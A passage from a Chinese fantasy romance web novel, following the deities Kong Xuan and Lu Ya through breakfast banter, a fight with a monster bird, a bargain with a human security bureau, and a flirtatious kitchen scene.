他嘴上嘟嘟囔囔的,一只小鸟跳到他肩膀上,他肩膀一沉,歪了歪头把脸埋进毛茸茸的羽毛里,忍不住窃笑出声。 “鸦鸦。” 孔宣不老实的手已经摸到了陆鸦鸦的翅根底下,被夹在羽毛里,暖烘烘的。 陆压无声用喙嘴顺了顺他的头发,轻轻拨弄带起搔痒般的酥麻,孔宣忍不住笑起来。 他一开始只是头皮酥麻,紧接着在安抚的顺毛下,忍不住打了哈欠。 “啊,不要推我!”孔宣几次想要绕开,都被陆压推着赶着赶上了楼。 孔宣才把盘子什么的放洗手池里就被赶回房间,他也确实困了,忍不住打哈欠,嗓音都跟着迷糊起来。 “那我明天再刷吧。” 孔宣迷迷糊糊的,陆压就在旁边盯着,小小一只鸟立在身侧,看起来格外严肃认真。 就这么盯着人,同时时不时低下头顺顺头发。 已经闭上眼的孔宣睁开一只眼,贴着陆压的手掌一收,直接让陆压滚进了他怀里。 他歪着脑袋,笑盈盈地弯起眉眼,凌厉张扬的神采在此刻犹如冰雪消融,在仅有的光亮下,显得柔和闲适。 突然,孔宣眉眼一弯,神色露出些许狡黠。 下一瞬间,他消失在床上,取而代之的是一只羽毛华美的孔雀,长长的尾羽拖拽着,他顶着华丽的凤冠,青绿裹藏着金辉披覆在他的身上。 他也并非一味的柔和,绚丽之外更添神性,艳皮佛骨绝妙无双。 孔宣用翅膀将三足金乌拢进羽翼,同时他低下头,无边神相护卫身侧,浩瀚缥缈。 “一起睡。” 浩浩神光之下,他挤进陆压怀中,刻意缩小的身形成功和黑羽金乌挤成一团,温情脉脉地互相梳理羽毛。 他与陆压交颈缠绵,无边暧/昧肆意横生,更是缱绻至极。 耳鬓厮磨、缠绵悱恻。 第46章 第46章全颙宴 清晨的阳光被…… 清晨的阳光被遮蔽在厚重的窗帘之外, 静谧的黑暗中,高挑的人影从床上起身。 他回头看了一眼,无声走出房间,房门关上探入的影子也逐渐消减模糊, 最终将一片宁静的昏暗留置。 陆压从衣柜里翻出一件衣服, 兜头套上时他身形微躬肌肉发力, 绷紧的腹肌牵引一瞬,旋即被衣服遮住。 床头的闹钟显示早上七点, 孔宣的起床时间大多数是在早上八点左右。 然而指针慢悠悠地转到了七点半,没有卷到人的漂亮孔宣在被窝里旋转一圈, 猛地惊醒,小爪子下意识蹬了蹬,迷迷糊糊地从被窝里钻了出来。 他揉了揉眼睛,黑发蜿蜒着披散在后背,孔宣打了哈欠, 慵懒地趴在枕头上。 腮帮子软软下陷,没在身边摸到一点温度, 他气意地鼓起腮帮子, 愤愤踢了踢被子,顿时变得气呼呼的。 一觉醒来, 陆鸦鸦居然不在身边! 可恶! 可恶的陆鸦鸦! 孔宣在三楼转了一圈, 把自己打扮漂亮,气呼呼地噔噔跑下楼, 以往轻快的脚步现在刻意踩出声音。 不用说话,正在厨房忙活的陆压就知道有人下来了。 他头也不回,随手往后面塞了个豆沙包。 孔宣“嗷呜”咬住,腮帮子鼓起一边, 顿时被包子里面甜滋滋的豆沙馅给迷惑,露出幸福的表情,忍不住呼呼夸夸。 “好吃!” 甜度适中,甜而不腻! 好哄的孔雀大王顿时忘记了陆爱妃居然敢把自己一个人丢在床上的大问题,脸上的表情格外梦幻,只顾着探头索要更多好吃的。 他馋得不行,软蓬蓬的面皮吃起来有股麦子的甜香,刻意捏成小小一个,一口一个小包子,吃得他美滋滋的。 陆压被他馋嘴的表情可爱到了,一手拿盘子夹出几个,塞进大王的手里。 甜滋滋的小包子送到面前,孔宣喜滋滋地拿住,捏起一个小包子一口一个,他眉眼弯弯,突然歪过头,近距离地凑到陆压面前。 陆压早起包小包子,身上满是淀粉的香气,而孔雀大王身上不知道是哪沾的花香气带着淡淡的木制香,霸道地侵占着陆压的所有感知。 陆压呼吸一窒,下意识地屏住呼吸,视线忍不住落在了孔宣微微嘟起的唇上。 孔宣吃了小甜包,身上似乎也甜蜜蜜的,沾带着水色的唇像是蜜桃般甜蜜粉嫩。 他凑得实在太近了,优越无双的脸足以将任何人迷得目眩神迷。 陆压怔神之际,就见孔宣鼻尖一皱,狠狠咬了口包子,看起来十分生气,瞥向陆压的目光都要冒火了。 他咬着包子,气呼呼地大怒:“你去见了帝江!” 陆鸦鸦昨天晚上刚给他暖床,一大早上没有给孔雀大王侍寝,居然去见了别人! 就算对方是帝江,孔雀大王也很生气。 他气呼呼地咬掉包子,腮帮子用力咀嚼,牙齿厮磨间狠狠怒视。 “快说,你去见帝江干什么!”孔宣恶声恶气地逼问。 说不出来,他就咬死他! 陆压:? 他迟疑地拉起领子闻了闻,不知道孔雀大王是怎么神通广大发现他去见了帝江的,只能归咎于神兽间某种独特的联系。 “我去见帝江……”陆压话语一顿,他垂下眼,看着面前气呼呼的大王,低声继续说道:“我问了他点事。” “问了什么?”孔宣叉腰,张牙舞爪地继续逼问。 他凶巴巴地怒视陆压,锐利的目光像是咻咻放箭,气势汹汹地扎在陆压身上。 凶巴巴地像是小气的小男友,逼问男朋友到底干嘛去了。 陆压没什么好隐瞒的:“我去问他,灵气复苏会到什么地步。” 从第一座神山拔地而起,这样的讨论就一直在妖管局内部流传。 到底什么才算结束?是要所有消失的山都出现才行吗?还是只有一部分? 清扫组是行动组,对这种事并没有什么好置喙的,他们只需要完成任务而已,获得信息的途径格外有限。 从政府部门公布妖族的存在,陆压嗅到了风雨欲来的气息。 他们到底在不周山上看到了什么?他们到底获悉了什么? 帝江这样的原初古神能死而复生,那么是不是还有其他的存在在为人类答疑解惑? 陆压深思着,孔宣挑起眉头,偷偷又往嘴里塞了个小包子,腮帮子鼓鼓囊囊的,含糊发问:“帝江怎么说?” 孔宣也很好奇。 他是原初生灵,但真算起来其实是子世代的原初生命,他的母亲凤凰与其他原初生灵比他年长太多年岁。 他见过时代昌盛也见过灵气衰竭,却没有经历过灵气复苏的天地局。 帝江对陆压的到来并不意外,祂总是话里有话。 “你总是这样的性格。”帝江叹息:“背负太多对你没有好处。” “结局?等时机到来的时候,你会看到结局的,每一个人都会卷入时代的洪流中。” “小金乌,救世的道路上你真的能做到义无反顾吗?” …… 陆压有一瞬间沉默,旋即他面不改色地告诉孔宣:“帝江什么都没说,感觉他话里有话。” 当然,也或许是这种超出常人的存在已经预见了未来? 义无反顾? 陆压下意识看向孔宣,他默默无言。 他真的能毫不留恋吗? 陆压冷静地思考了一会儿,终于得出答案,他也不知道。 在这之前,他愿意为妖管局为了这份和平献出生命。 像他这样无父无母无亲无故的人,早已将生死置之度外,甚至觉得这一天早点到来也不错。 但…… 陆压又忍不住看了孔宣一眼,他在想,孔宣的亡夫哥是什么样的存在? 孔宣从来没提过有这样的存在,或许穆怜青的话就是个骗局。 他死之后,孔宣也会这样不跟任何人提起他吗? ——就像他从未存在过一样。 这些忧虑的思绪,他从不会和孔宣分享。 孔宣脸上不见一点阴霾,他鼓了鼓腮帮子,露出郁闷的表情。 “神神秘秘的。” 孔雀大王对这种谜语人的做派可不感兴趣,他往陆压嘴里塞了个小包子,脚步轻快地拐出厨房,歪头朝陆压眨了眨眼。 “原谅你了。” 他脚步轻快,随着帘子落下,身影消失不见。 陆压追着他走出来,手里还端着两盘小包子,拇指大小的小包子,包了豆沙和肉馅两种。 肉馅加了香菇和榨菜,小小一个一口下去汁水横流,咸香十足。 孔宣手里的小碟子里就那么几个,他美滋滋地吃完,手不老实地伸到新盘子里捞走一个肉包子。 他捞走一个、两个……把腮帮子塞得鼓鼓囊囊,嘴巴抿着一片油光,用眼神示意陆压也吃。 陆压将一个小包子送进嘴里:“还不错。” “没有昨天的肉好吃。” 陆压后一句话说完,孔宣顿时翘起嘴角,哼哼笑了起来:“那当然了!” 他眉飞色舞,一派神采飞扬,陆压这话他也听得高兴,兴奋地翘起唇角,哼着小调欢快极了。 “跟着我,保证你天天吃香的喝辣的!” 孔宣拍着胸脯保证,手一挥足有万千豪情,比什么都气派。 陆压弯了弯唇角,将一个肉包子塞给他。 “快吃吧,大王,吃完我们去买点东西。” 孔宣扬眉:“买什么?” “给帝江买点毛线?”陆压提议。 帝江现在就是一只没有嘴巴鼻子眼睛的大肉球,就算化为人形祂也看不见听不见,不知道是用什么样的方式认知世界。 陆压早上去的时候,祂在用身上掉落的“血线”打毛线,对于陆压的到来十分欢迎,状态简直跟孤寡老人差不多。 陆压早上从隔壁出来,就盘算着要给对方带点东西。 虽然听帝江一席话如听一席话,陆压还是觉得应该礼尚往来。 不能虐待老人家。 孔宣听陆压说这种话,顿时笑得停不下来。 “不是吧……老人家?”谁?帝江? 孔宣笑歪了脑袋,用手撑着下颚,玩味地朝陆压眨眼:“祂可没有你看到的那么可怜。” “祂重生归来,身体比我都年轻。” 不过孔宣还是肯定了陆压的做法,他若有所思:“如果你想的话,可以给他买个录歌放歌的东西,收音机或者什么的,要音质好的。” 帝江喜欢音乐,买音乐相关的绝对没错。 说做就做。 两个人商量好送帝江一个联网的蓝牙音箱,吃过早饭就准备出门。 孔宣换了一身v字领的休闲衫,薄薄的衣料遮不住他纤细修长的好身材,随意理了理头发,完全看不出是一只记不清年纪的老妖怪。 他抚了抚发尾,漫不经心地勾起唇角:“鸦,礼物买了,那我呢?” 孔宣忽闪着眼睫,突然意味深长地朝陆压露出一个蛊惑人心的笑容。 “你只送祂,不送我吗?”白嫩的脸上流露出委屈的情绪,孔宣嗓音发软,让人恨不得把世界上的一切捧到他的面前。 陆压喉结滚动,视线落在他的眉心,似乎思考了一瞬间。 “买。” “买什么呢?”孔宣追问,恶劣地弯起唇角。 两个人之间的距离离得太近了,陆压一时间居然想不到要说什么。 他停顿了一下,基于某种谈判对峙的本能,他按住孔宣的肩膀,将那张笑靥盈盈的脸推远。 陆压神色不惊:“大王想要什么?” 孔宣仔细打量他的神情,玩味地勾起一缕发丝。 “要什么呢?”他拖长语调,飞速地踮起脚尖,狠狠揉了揉陆压的侧脸。 直到把这张波澜不惊的坏脸揉得混乱迷茫,他才感到满意,得意地哼哼两声,小声抱怨:“就知道摆个死人脸。” 坏鸦! 还不是被他破防了? 孔宣得意得不行,一把掐住陆压的腮帮子扯了扯,看陆压这幅模样,“噗呲”笑了出来,理直气壮地大声嚷嚷。 “我才不告诉你!” 孔宣恶趣味十足,控诉完就跑。 只剩下陆压为这件事烦恼。 帝江的音箱好买,两个人坐车到了市中心,却没想到周末的市中心商圈根本没几个人。 原本预想的人潮涌动没有不说,陆压和孔宣下了车,看到了被绿色挡板围起来的路障。 “这是怎么了?”孔宣好奇地从陆压身后探出头,忍不住皱了下鼻子,“一股臭味。” 那股味道浓郁又古怪,像是混杂了人血与腐肉的味道。 他们在车上体感温度舒适,一下车热浪扑面而来,干涸的空气被烧着般,干干地贴在皮肤上,以至于让人感觉十分割裂。 来广市的空气从没有那么闷热过,孔宣挽起袖子,露出一节雪白的皮肤,用路边的宣传单扇了扇风。 他面露好奇,左顾右盼地打量四周,一头撞到陆压背上。 陆压停在这里不动,被撞上时,他头也没回,抬手将孔宣拦在背后。 “别动。” 陆压眉头微皱,一双眼睛晃动着扫过四周,他对事故的敏感性格外高,只是站在这里,他就预见了一场事故的发生。 陆压注意到了市中心的死寂,紧紧锁住的店门落下雪白的窗布,空荡荡的几条街道被冷风刮过,只剩下死寂的宁静。 下意识地把孔宣拦在身后,陆压视线偏转,瞳仁冷静地扫过四周,神色锐利沉冷。 或许是被他的气势影响,孔宣攥着男人的胳膊缩着肩膀,又忍不住好奇,探出半个脑袋,像是谍战片特务接头般,小小声地在陆压悄声说话。 “干嘛呢?” 孔宣用宣传单给陆压扇了扇风,突然他脑袋一抬,陆压的手臂赫然攀出几道妖纹,一点金芒自他眼中浮现。 妖力流转间,只是一错眼,一团黑影从天而降轰然和攀升的妖力撞在一起。 一团冲击而下的禽鸟被一击摔出,在地上翻滚一圈后抬起一张人脸,怪异的四只眼睛似蜘蛛横向排列在脸上,它愤怒大喊“yongyong——”,猛地展开翅膀。 怪异的翅膀像是一双飞耳,飞耳拍打着,毛茸茸的羽毛乘着大风粼粼流动,化作万钧伟力迅速扶摇直上,从高空遥遥坠下。 怪异的死寂被打破,一声枪响贯穿恒宇,有人自楼顶站起身挥舞着手臂大喊:“快走!” 没有人听他的。 子弹射中了怪鸟,却更加激怒了它,它怒而大叫,拼命展开的翅膀上浮现出灼热火纹,漫漫散开一片火光。 陆压低头捡起那枚子弹,子弹上刻了熟悉的妖纹,外形犹如一片飞云。 这是一种为金属附魔的咒文,参考了西方猎魔人附魔的技术,妖管局独立研发的一种短暂让普通人拥有对付妖族能力的法器。 手工雕刻,数量稀少,威力一般。 陆压抬眼与高楼上的人遥遥相望,他低声念了一声:“真不走运。” 居然撞进了清扫组的清扫现场。 陆压捻着子弹,指腹抚摸过妖纹,刹那间金色的光彩沿着纹理渲染上每一道轨迹。 他只是将这颗小巧的子弹攥在手中,投石般猛地丢出。 子弹瞬间被加注万钧伟力,以一种肉眼看不见的速度直直贯穿空间。 这一瞬间,贯穿怪鸟的伤口喷射出腥臭的血液,怪鸟拍打着翅膀摇摇晃晃地急坠而下。 爱干净的孔雀大王迅速躲到陆压身后,惊恐大叫:“陆鸦鸦!” 救驾!救驾! 该死的脏血要淋到孔雀大王的身上了! 可恶! 孔宣被逼急了,一口咬在陆压的手臂上,被人单手抱起,拎到了旁边。 差点被淋了一身血,孔宣拍拍胸脯,怒目而视。 “坏鸦!” 陆压单手抱着人,轻松地躲到旁边,等怪鸟倒在地上没动静了,他抬手拍拍大王的后背,嗓音低哑透着安抚的意味:“好了,没事了。” “今天晚上吃大鸟。” 孔宣气得抓着他的手就咬,含含糊糊地发怒:“我要吃鸦肉!” 他气鼓鼓的,眼睛怒瞪陆压,一双眼睛睁得圆鼓鼓的,腮帮子更是白白软软吹鼓起弧度,显得格外柔软。 陆压蠢蠢欲动,最终没有挑战大王的愤怒。 怕大王一怒之下真要尝尝鸦血。 远处的楼顶上,穿着迷彩服的青年一把拉下脸上的护目镜,不可置信地揉了揉眼睛。 “不是吧,这就完了?” 他们狙击了半个小时的怪物这么快就解决了? 清扫组的新人一脸懵,不敢放松地举着枪械靠近。 清扫组什么时候纯靠枪械清扫现场?陆压一手安抚着生气的孔雀大王,凝视着那些拿着枪有条不紊靠近的人群。 这些人穿着武警的衣服,身上却拿着清扫组给新人安排的枪械,一举一动都透着军武令行禁止的威严。 这些人不知道从哪里突然出现,一齐包围过来。 陆压粗略一数,居然有十几个。 他一脚将脚边的石子踢向怪鸟,怪鸟动颤一下,瞬时间一半的枪口对准陆压。 陆压摸出手机,面不改色地对着他们扫了一下:“清扫组,你们是哪支队伍的?” 清扫组后台认证从众人面前扫过,一个看起来是队长的人走过来,他拉下面罩,狐疑地打量陆压,重点在两个人现在的姿势上。 ——孔宣小鸟依人地被陆压抱在怀里,气鼓鼓地偏过脑袋。 很像小情侣闹矛盾。 “你是妖管局的?”那人问。 陆压面不改色地追问:“你们不是?” “我们当然不是。”那人低声说着,挥手让部下都散开。 “介绍一下,我们是国家自然与非人安全保障局,我是安全局清扫三队的队长张振军。” 国家自然与非人安全保障局是妖管局的前身,是纯人类的国家单位,自从与妖族合作以来就彻底销声匿迹。 现在它又启动了。 陆压扫了眼那人伸来的手:“来广分局,清扫组前组长陆压。” 张振军眼睛一亮:“我知道你。” 不只知道,事实上,安全局启动以来一直在搜罗被妖管局裁撤的清扫组成员,只是还在接触阶段。 陆压的履历太漂亮了,安全局的招揽名单上,他排在首位。 张振军之前只是听过他,没想到初次见面就见到了他的本事,他双眼发亮:“你很有本事,这只颙鸟我们追踪了三天,本来打算在这里截杀它。” 不过嘛。 那一枪非但没有解决问题,反而激怒了对方,还是不如陆压这种不靠武器的天赋派厉害。 令丘山的颙鸟所到之处,水源干涸,他们一路追踪,一路上的水线都下降了几厘米。 这种天赋流的怪物太恐怖了,离开了妖管局,上层领导才意识到,当年合并后他们太过依赖天才的力量,放松了对神秘侧武器普遍化的研究。 现在灵气复苏,危险的怪物太多,而有天赋的人又太少,而且大多数和妖管局牵扯不断。 然而妖管局现在已经疯了,内部高层几乎被妖族占据,而且分裂为几派疯狂内斗,一门心思爬不周山。 人类高层要么被边缘化要么就被蒙蔽,真正有实力的清扫组严重裁撤后剩下小猫两三只,所有资料也毁得一干二净。 他们需要更多的清白良家子,也需要更多实干派。 “你有没有兴趣来安全局上班?我们比妖管局要大方得多。” 张振军说话的时候,几个小士兵正收捡着颙鸟的尸体。 正打算今天吃大鸟的孔宣急了,一巴掌拍在陆压手臂上,脑袋拼命往后望:“鸦鸦!” 他们的午餐! 陆压转头看了一眼,直接跟张振军说:“这只颙鸟我要带走。” 他语气不容置喙,也没有任何商量的余地。 张振军皱眉:“这恐怕不行,我们要带回去做研究的。” “我给你们清扫组的名单,所有人的。”陆压说。 他眼眸锐利,淡漠的话语恰恰击中了张振军的软肋,几乎一击毙命。 “你们已经找不到完整人员名单了吧?” 张振军震惊:“你怎么知道?” 陆压神色淡淡,他在离职前导出过所有人员的名单,当时他的权限仅次于正局,跨局调档案并不困难。 这份信息拿出来,他会被妖管局以泄露国家信息罪判刑,但现在又有谁会追究他的责任? “我还有其他几位被裁撤的组长联系方式,我们组了个群,他们很想为国家献上一份力。” 陆压冷静发问:“用这些换一只颙鸟够了吗?” 第47章 第47章全颙宴2 当然没问题…… 当然没问题! 张振军下意识警惕:“你要这只颙鸟干什么?” 当然是带回去吃。 孔宣被放到地上, 他厌烦地看了眼这个不识相的人类,懒得和这人说话,注意力完全被颙鸟吸引走了。 别想带走孔雀大王的午餐! 陆压让人准备防水布把这只死去的颙鸟包起来放到箱子里,安全局向上打了申请获得同意后, 按照他的要求, 十分严谨地用航空级别的防水布包了里三层外三层, 又警惕地锁进一个密闭的合金箱子里。 如此这般,他们才一脸郑重地送到陆压手上。 对于怎么处理这些妖怪, 他们简直笨拙又生疏,手法十分夸张。 陆压:“……不用这样。” 有点夸张过头了。 加起来几十斤重的大箱子被陆压单手托起, 孔宣好奇地戳了戳铁箱子,歪头看了眼四周,捏住一个角稍稍用力。 顿时间,这种航天级别的合金在他手下如被揉皱的纸团,“咔嚓咔嚓”扭曲变形。 他顿时心虚, 连忙收回手,假装无事发生地弯起唇角, 朝陆压比了一个噤声的动作。 “嘘~” 孔宣眨了眨眼, 一脸无辜。 陆压不动声色地将箱子换了个姿势,挡住揉皱的一角, 一手拎起手机加上张振军的账号。 张振军拿到了名单, 严肃周正的脸上隐隐有笑意浮现,他朝陆压行了一个军礼, 不忘关心陆压的境况招揽他。 “感谢你今天的帮助,陆先生。” 他们用消防演习的借口临时拦了路清场,一般来说消息灵通的人就不会来了。 张振军认为陆压是特意过来帮忙的。 事实上,陆压一早被孔雀大王撩得眼花缭乱, 完全忘记了这件事。 “我是来买音箱的。”他诚实述说。 看张振军的表情是一点都不信,依旧是看好同志的眼神。 甚至,张振军还安排人给陆压找来了一件可以联网的音箱。 孔宣和陆压带着音箱、颙鸟被安全局的车送回小店。 临下车前,陆压隔着镜子与驾驶证的小兵对视一眼。 “大王。” 陆压淡淡开口,孔宣挑眉。 只是一个眼神,两个人默契十足,孔宣将箱子拉进厨房,陆压拿着工具把音箱拆了。 检查完音箱后,陆压才淡淡开口:“一个定位器一个窃听器。” “哎呀,这些人类。”孔宣憋着话,早就忍不住了,不让他说话比干活还累,他伸了个懒腰,散漫地打趣。 “这种小手段,真的令人发笑。” 他捡起那两个小东西,随意地捏碎丢进垃圾桶里,姿态肆意极了,毫不留恋地挥了挥手,像是挥走了什么霉运。 “谨慎是好事。”陆压说。 他言语淡淡,并没有什么阴暗的情绪,慢条斯理地将拆开的零件装回原位。 孔宣忍不住发笑:“这种东西就算送到帝江那里,又能监听到什么东西?” 弱小的人类再费尽心思,在他们面前也跟玩闹一样可爱。 孔宣拎起音箱就走,“蹭蹭”跑到隔壁,门也不敲大大方方地推门走了进去。 他行踪不加掩饰,在靠近小楼的一瞬间就被获悉,铺满地面的血线为他打开了锁。 孔宣自己先玩起了音箱,登上几个软件账号翻阅歌单,跟着曲调哼起了歌。 “帝江,我给你带礼物来了~” 明明是陆压提议的,他踮起脚尖,一点不见外地包揽了功劳。 孔宣举起音箱,巨大的肉球动了动,翻滚出粉色的羽翅,轻巧勾走了这个小巧的科技作物。 [谢谢] 孔宣背着手垫了垫脚尖,他扒拉着帝江的羽翅,直勾勾地盯着祂:“帝江,今天金乌找你说了什么?” …… “……妖怪妖怪,在我们的传说故事中,总是将妖与怪混为一谈,这是不准确的,事实上,妖与怪是两种不同的类别,他们之间的差距比人类与大猩猩之间还要大……” “……所以,妖是妖怪是怪,世界上有很多的怪物,这些怪物是人和妖永恒的敌人,在很久很久以前,人和妖就一起联手抵御怪物的伤害……” …… 孔宣送完音响回来,陆压正在看新闻,新闻发言人正对着屏幕侃侃而谈怪与妖的差距。 孔宣在电视机前站了一会儿,他背脊挺直,肩膀与背脊绷紧好看的弧线,姿态与人类并没有什么差别。 只是更加漂亮更加挺拔,一身气势远比影视模特还要出彩,令人心向神往。 “这些人类真会瞎掰。”孔宣毫不留情地评价。 如果让一千多年前的人类老祖宗听到这种话,恐怕要气得跳脚,怒骂愚蠢。 妖是妖怪是怪,但妖怪妖怪,既然混为一谈,对于人类来说就是一样的。 妖会吃人,怪会吃人,只是妖比怪更加聪明善于伪装,他们能理解人类的规则,并且加以学习使用,但本性中的贪婪与轻视仍然刻在骨髓。 “他们只能这样说。”陆压看得透彻,黝黑深邃的眼睛清晰倒影出电视屏幕的人影,那些字幕在眼中跳动,他眉眼冷淡至极。 “为了拉拢可以合作的朋友,就必须要将敌人与朋友区分开。” 人类曾和妖族有过很长时间的合作,灵气复苏后,人类需要适应新的时代,就必须把朋友弄得多多的,把敌人弄得少少的。 那么谁是敌人谁是朋友,就是需要明确的重点。 足以证明,人类没有资本像一千年前一样建立捉妖司,用暴力直接和妖族划清界限,相反必须要拉拢要安抚,要合作共赢。 可是真的能合作共赢吗? “人类想要的结局是达不成的。”孔宣偏过头,“人类想要一直站在世界之巅,不和任何人分天下,可很久以前的我们也是这样。” 阴盛阳衰,否极泰来。 一件事被压制到了低谷就会触底反弹,就像阴和阳,万事万物都有自己的平衡。 当妖族站在世界的顶点,人类也不过是某种两脚兽类,当人类纵横这个世界的时候,无数神秘侧的生灵消失神隐。 而现在,只是一个新的轮回而已。 孔宣伸手在陆压面前打了一个响指,他神色张扬,故意调笑道:“别想了鸦鸦,你还不如多想想我们今天吃什么。” 吃什么,喝什么,才是最重要的事。 陆压点了点头:“吃全颙宴怎么样?” 全颙宴? 孔宣歪头。 一只足有巨型鹰隼大小的颙鸟,陆压拿到手的一瞬间脑子里飞速想过了很多菜肴。 最终他决定一分几份,先把鸡腿肉剁碎做辣炒鸡丁,翅膀和一部分胸肉炖汤,剩下半扇肉做一份三杯鸡。 加上一份素炒青菜,三菜一汤,两个人正正好。 陆压定下菜单,直接开始准备起来。 他手脚麻利,用热水烫了毛就开始撕毛,用刀将颙鸟的腹腔割开,脑袋和一部分内脏当作厨余垃圾埋进地里沤肥。 陆压低头处理怪鸟,他低垂着眼睫,睫毛低垂下一片阴影,看起来隽秀无双的男人低下头,毫不留情地用刀将一只大鸟处理得干干净净。 应该拿剑的漂亮手指拿起菜刀,几刀下去,胸是胸腿是腿。 按照不同的菜装盘,分得清清楚楚,有条有理。 孔宣抱着手臂歪靠在门框上看人,他眼睛眨动,用手指勾起一缕长发漫不经心地缠绕在指尖。 “鸦,你真的很在意这些人类。” 孔雀大王明察秋毫,犀利的眼神早已看透了陆压淡定外表下的在意。 陆压动作一顿,头也不回:“怎么说?” “哼哼。” 孔宣哼哼两声,掰着手指数了数,猝然翘起唇角,张扬起眉头狡黠回答:“我不告诉你。” “这是我的,”他扶着柜台,歪倒在陆压身上,贴着他的耳朵轻飘飘笑了起来:“独家秘密~” “告诉你,你下次藏得太好我怎么看穿你?” 这种话。 陆压哑然,他手上的动作一松,拿刀的手赫然松开,转头一把攥住孔宣的手。 孔宣原本靠在他的身上,他一转身,瞬间失去依靠,正慌乱的时候被人攥着手腕一拉,结结实实地撞到了陆压身上。 紧绷的肌肉撞得孔雀大王眼眶泛红,还没反应过来,一张脸猝然在眼前放大。 陆压一改以前老实沉默的表象,他低垂着头,阴影从他身上编织成网将孔宣包裹。 他一把钳制住孔宣的下颚,稍稍用力抬起,一双眼睛深邃神秘,像是一汪漩涡,难以倾诉的情愫流转间几乎要将孔宣溺毙。 “大王。”陆压一只手钳制住孔宣的下颚往上抬,一只手贴紧孔宣的后腰,他大手一张,几乎将细腰把握在手中,不容任何退却。 他总是配合着叫孔宣“大王”,语调轻轻的,似乎总带着笑意,此刻也并不例外,只是笑意之外,还多了几分暧/昧的深意,指腹用力地碾过那双勾人的红唇,碾开一片黯然销魂的绯色。 陆压意味深长地收紧眼尾,低声诉说:“你很想要看透我吗?” 他歪过脑袋,两个人呼吸逐渐交融,灼烧出黏腻潮湿的旖旎,低低地扬起长音。 “嗯?” 第48章 第48章全颙宴3 “你很想要看透…… “你很想要看透我吗?大王。” 低沉的尾音在耳边拖拽出难以消减的旖旎, 孔宣眸子颤抖,下意识地偏转视线,很快又强撑着转了回来。 面对陆压的压制,傲气的孔雀大王一头撞了过去, 没轻没重地一把将脑袋磕在对方头上。 陆压额头一痛, 本能踉跄后仰, 过快的反应速度让他一把抓住脱身的孔宣。 他手掌锁紧,一手按住孔宣的肩膀, 一只手擦过他的侧腰撑在餐柜上,脚步往前把人困在自己与餐柜的间隙中。 两个人的距离远比之前还要靠近, 错乱之中,陆压将腿限制在孔宣的双腿之间,他低下头,两个人的脸几乎贴在一起。 孔宣无处可逃,锐利漂亮的凤眼睁得滚圆, 下意识地攥紧男人的肩膀。 他们手臂交缠、呼吸缠绵,无端泛起的氛围更加难以逃离。 绯色飞快染上脖颈, 如云雾般飘进衣服底下, 唯有孔宣脸上的绯色不加掩饰。 他似乎有些呆滞,下意识地张开嘴巴, 湿红的舌尖在唇齿间若隐若现。 他已经被陆压捕捉, 无处可逃。 陆压从来都是淡漠疏离的,任凭孔宣再怎么逗弄, 他也只是看着。 可再老实木头的人被千百次撩拨也不会无动于衷,何况陆压并非老实,他沉默隐忍,却一击毙命。 他低下头, 浓密的睫羽似乎渗出几分光彩,无端端筛出稀碎的笑意。 就这么近距离中,陆压歪斜过头,从下至上地挑起视线,将动荡飘摇的视线捕捉。 “孔宣。”他将矜贵的孔雀大王堵在墙角,手心在纤细的腰侧厮磨:“你很想了解我吗?” 独立如陆压,从不与人谈心,也不需要与人剖析自己。 他所有的思想都是隐晦、静默,如同一块飘在海面的浮冰,有太多人想要打捞它,却也只是远远观望,唯恐被潜藏水下的晦暗拉进地狱。 而现在,这块浮冰终于浮出自己的冰山一角。 你很想了解我吗?你很想理解我吗?你很在乎我吗? 陆压深邃的眼睛无声透出情绪,不容任何逃避,他与孔宣脸贴着脸,眼睛望着彼此,眼睛倒映出的人像更像是被禁锢在无形的囚笼中。 他此刻强势又霸道,不容任何置喙挣扎。 孔宣靠在餐柜边缘,棱角抵着他的后腰,他挺直腰板,男人的手掌顺势抚摸过背脊。 他与陆压对峙,不像是在谈心,更像是一场对抗。 是的,对抗。 这只漂亮小鸟还是太嫩了,没轻没重的。 需要教导。 兴奋感瞬间如潮水般将孔宣淹没,他不由得头皮发麻,酥酥麻麻的刺激感顺着尾椎流窜到大脑皮层,尖锐的电流感席卷了他的全身。 被那只不老实的手摩挲得后腰发软,忍不住低哼出声,自得意满地往后一仰,脸上露出淡淡的笑意。 孔宣不躲不避,几乎被男人笼罩在阴影下,然而他并不软弱瑟缩,腰背挺直,更像是得到权柄的王,即便男人的手冒犯摩挲他的下颚,他依旧能露出胜券在握的笑容。 “那你了解我吗?” 孔宣歪过脑袋,在陆压耳边低声轻语。 他的脸色晦暗不明,只能看见勾起来的红唇,与嘴角似笑非笑地挑衅。 挣脱的手被另一只手覆盖,孔宣的手指顺着陆压的掌心,磨蹭厮磨间插入他的指缝。 两个人十指相扣,你一言我一语,你来我往间针锋相对。 每一句的对话都像是轮转的转盘,或许下一秒就有人射出子弹,命中对方眉心,宣告一方的败北。 陆压垂眸:“我一直在了解你,孔宣。” “那么,你呢?”他坦率出击,环抱青年的手臂有力极了,似乎仍残留着硝烟中拼杀出来的尖锐,展露出极为冷酷的强势。 孔宣气定神闲地“哦?”了一声,漂亮的眼睛立刻弯了起来,狡黠又动人。 他抱住陆压的腰腹,主动靠近一步,两个人几乎鼻尖贴着鼻尖,陆压被迫低头,直面那双勾人的眼睛。 “我也一直在了解你。”孔宣回答得滴水不漏。 紧接着,他眉梢一挑,意味深长地调笑:“比你想的还要了解,你想要知道吗?” 陆压眉头一跳,微凉的手指已经钻进了他的衣摆,在腹肌上勾画。 尖锐的指甲搔弄过他的皮肤,顺着背脊漫漫厮磨,在皮肤上勾画出莫名的痕迹。 孔宣眼神挑衅,犹嫌不够地凑近一分,这下两人几乎唇齿相依,呼吸交融间似乎早已化作黏稠的水珠,连骨血都要交融在一起。 “你敢吗?” 他翘起唇角,撩拨之后飞速撤退,肩膀向后塌陷,倚着餐柜露出好整以暇的表情。 单薄的衣服几乎遮不住他纤细劲瘦的身体,孔宣歪着脑袋咬住指尖,无声地递去一个眼神。 他浓烈如蛇蝎,艳情似妖孽,不加掩饰的魅力肆意张扬,挑衅又轻蔑的眼神嘲讽至极。 陆压装得一副薄情冷淡的圣人模样,用这幅模样封印七情六欲,可孔宣偏要挑衅勾缠,让他为自己破功。 越是疯狂,他越是高兴。 孔宣摸索过滚烫的脸颊,嘴角的笑容越扯越大,他甚至主动往后退了一步,半坐在餐柜上。 似乎只要陆压朝前一步,就能任他予取予求。 陆压对此只是伸手将他敞开的衣领整理,孔宣脸色变化,突然腰上一紧,陆压一把将他捧上餐柜,他门户大开,双腿夹在陆压腰侧。 